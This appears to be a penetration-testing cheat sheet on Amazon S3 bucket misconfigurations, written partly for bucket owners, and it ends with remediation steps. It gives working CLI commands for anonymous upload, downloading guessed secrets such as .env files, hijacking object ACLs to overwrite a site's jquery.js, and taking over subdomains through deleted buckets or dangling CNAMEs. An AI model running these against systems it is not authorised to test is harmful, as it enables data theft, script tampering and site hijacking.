s3
Testing and fixing insecure Amazon S3 bucket permissions, from public-write abuse to subdomain takeover.
$ a note for bucket owners
If you are reading this then there is a chance you have a poc.txt in your S3 bucket.
This is just a little heads up to say attackers can upload and overwrite files in your S3 bucket, and if you are serving up files like JavaScript they can add an XSS payload or coinhive miner to your JS.
If you log in to your AWS console, find the bucket and remove the public-write permission from the bucket. This will fix the issue.
$ testing a bucket for bad permissions
You will need the AWS CLI installed and configured.
aws s3api get-bucket-acl --bucket bucketname
If you see the following then you have problems:
{
"Permission": "FULL_CONTROL",
"Grantee": {
"URI": "http://acs.amazonaws.com/groups/global/AllUsers",
"Type": "Group"
}
}
Log in to your AWS console and remove the public-write permission ASAP.
$ anonymous bucket enumeration
You do not always need credentials to poke at a bucket. Many checks work unauthenticated:
# List objects anonymously — works only if ListBucket is granted to Everyone
aws s3 ls s3://bucketname --no-sign-request
# Anonymous object listing via the website endpoint
curl https://bucketname.s3.amazonaws.com/
# Check whether anonymous reads are allowed on a known object
curl -I https://bucketname.s3.amazonaws.com/js/jquery.js
# Anonymous upload test (do this only on buckets you are authorised to test)
echo "poc" | aws s3 cp - s3://bucketname/poc.txt --no-sign-request
A 403 on the bucket root usually means listing is denied, while a NoSuchBucket error means the bucket does not exist — which is a takeover opportunity, not a permission problem.
$ ListBucket vs GetObject vs PutObject
These are three different permissions, and buckets frequently get them wrong in different directions:
# ListBucket: can you enumerate the objects?
aws s3 ls s3://bucketname
# GetObject: can you read a known object even if listing is blocked?
# (guess common names: backup.zip, dump.sql, .env, config.json, keys/*)
aws s3 cp s3://bucketname/.env -
# PutObject: can you write?
aws s3 cp poc.txt s3://bucketname/poc.txt
A common misconfiguration is GetObject open to Everyone while ListBucket stays closed. Listing is denied, but any object whose name you can guess is downloadable. Another is write-only buckets where PutObject is public but reads are not — perfect for planting files that a web app later serves.
$ checking the bucket policy and ACL with the AWS CLI
ACLs and bucket policies are separate layers; check both, because a policy can grant public access even when the ACL looks clean:
# Bucket policy — look for Principal: "*" with s3:PutObject
aws s3api get-bucket-policy --bucket bucketname
# Bucket ACL
aws s3api get-bucket-acl --bucket bucketname
# Object-level ACL
aws s3api get-object-acl --bucket bucketname --key jquery.js
# Public-access block settings (a well-configured bucket blocks all of these)
aws s3api get-public-access-block --bucket bucketname
# Whether the bucket hosts a website and where it redirects
aws s3api get-bucket-website --bucket bucketname
$ finding buckets via response signatures
S3 endpoints have distinctive error pages you can fingerprint. Searching JavaScript files, source maps and HTTP responses for these signatures often reveals bucket hostnames:
# Signature errors returned by S3 XML endpoints
# ListBucketResult — anonymous listing succeeded
# NoSuchBucket — bucket deleted, takeover candidate
# AccessDenied — bucket exists, listing denied
# NoSuchKey — bucket exists, object missing
# PermanentRedirect — bucket exists in another region
# Typical host formats worth grepping for in JS bundles and pages
# bucketname.s3.amazonaws.com
# bucketname.s3.eu-west-1.amazonaws.com
# s3.amazonaws.com/bucketname
# files.example.com (CNAME to a bucket)
Shodan, Censys and certificate-transparency logs also index S3 website endpoints, and tools such as lazys3, s3recon or CloudBrute can brute-force bucket names from a company wordlist.
$ uploading a PoC to a bucket
aws s3 cp poc.txt s3://bucketname --region us-east-2 --acl public-read
Change the region of the bucket if it is not in us-east-2.
If you see an error then the bucket does not allow public uploads.
$ bad object permissions hijack
On the rare occasion you can test files for AllUsers control. This means the bucket is not writeable but the file is.
You can find this out by doing:
aws s3api get-object-acl --bucket bucketname --key jquery.js
If you see AllUsers FULL_CONTROL then you can overwrite this file.
To do this you need to do the following command:
aws s3api put-object-acl --bucket bucketname --key jquery.js --grant-full-control emailaddress=YOURAWSEMAILADDRESS --grant-write uri=http://acs.amazonaws.com/groups/global/AuthenticatedUsers
Now all you do is download the file, alter it and re-upload it:
aws s3 cp jquery.js s3://bucketname --region us-east-2 --acl public-read
$ subdomain takeover / redirect
Sometimes when you visit a website you might see NoSuchBucket, which means the S3 bucket that hosted the files for that site is no longer around and has been deleted. You can easily hijack this by creating the bucket.
Create the bucket:
aws s3api create-bucket --bucket bucketname --acl public-read --region us-east-1
redirect.json:
{
"RedirectAllRequestsTo": {
"HostName": "takeover.xsses.rocks"
}
}
Change the hostname to your takeover page.
aws s3api put-bucket-website --bucket bucketname --website-configuration file://redirect.json
The website will now redirect to your webpage.
$ dangling CNAMEs and takeover risk
Takeover is not limited to deleted buckets. Any DNS record pointing at a bucket name that nobody owns is claimable — first come, first served on the global bucket namespace:
# Find the CNAME
dig files.example.com CNAME
# If it resolves to something like:
# files.example.com.s3.amazonaws.com
# the target bucket name is files.example.com
# Check whether that bucket exists and who it belongs to
curl -s https://files.example.com.s3.amazonaws.com/ | head -5
# NoSuchBucket here + a live CNAME = you can create the bucket
# and serve content on the victim's subdomain (cookies, CORS, OAuth callbacks)
Watch out for region mismatches too: a bucket created in the wrong region returns a PermanentRedirect, and wildcard or multi-region endpoints behave differently from regional ones.
$ downloading from a bucket
Change the mybucket and the file to whatever you want, and this will download the file to your /tmp/ folder:
aws s3 cp s3://mybucket/one-central/js/qa.js /tmp/
$ downloading everything in a bucket
This will sync everything you have permission to view onto your machine:
aws s3 sync s3://mybucket --recursive
$ remediation checklist
# Block all public access in one go (the safest default)
aws s3api put-public-access-block --bucket bucketname \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
# Audit every account bucket for public ACLs or policies
for b in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do
echo "== $b"
aws s3api get-bucket-acl --bucket "$b"
aws s3api get-bucket-policy-status --bucket "$b"
done
Prefer IAM policies over ACLs, keep website hosting separate from data buckets, and enable CloudTrail S3 data events so that unexpected anonymous writes are logged.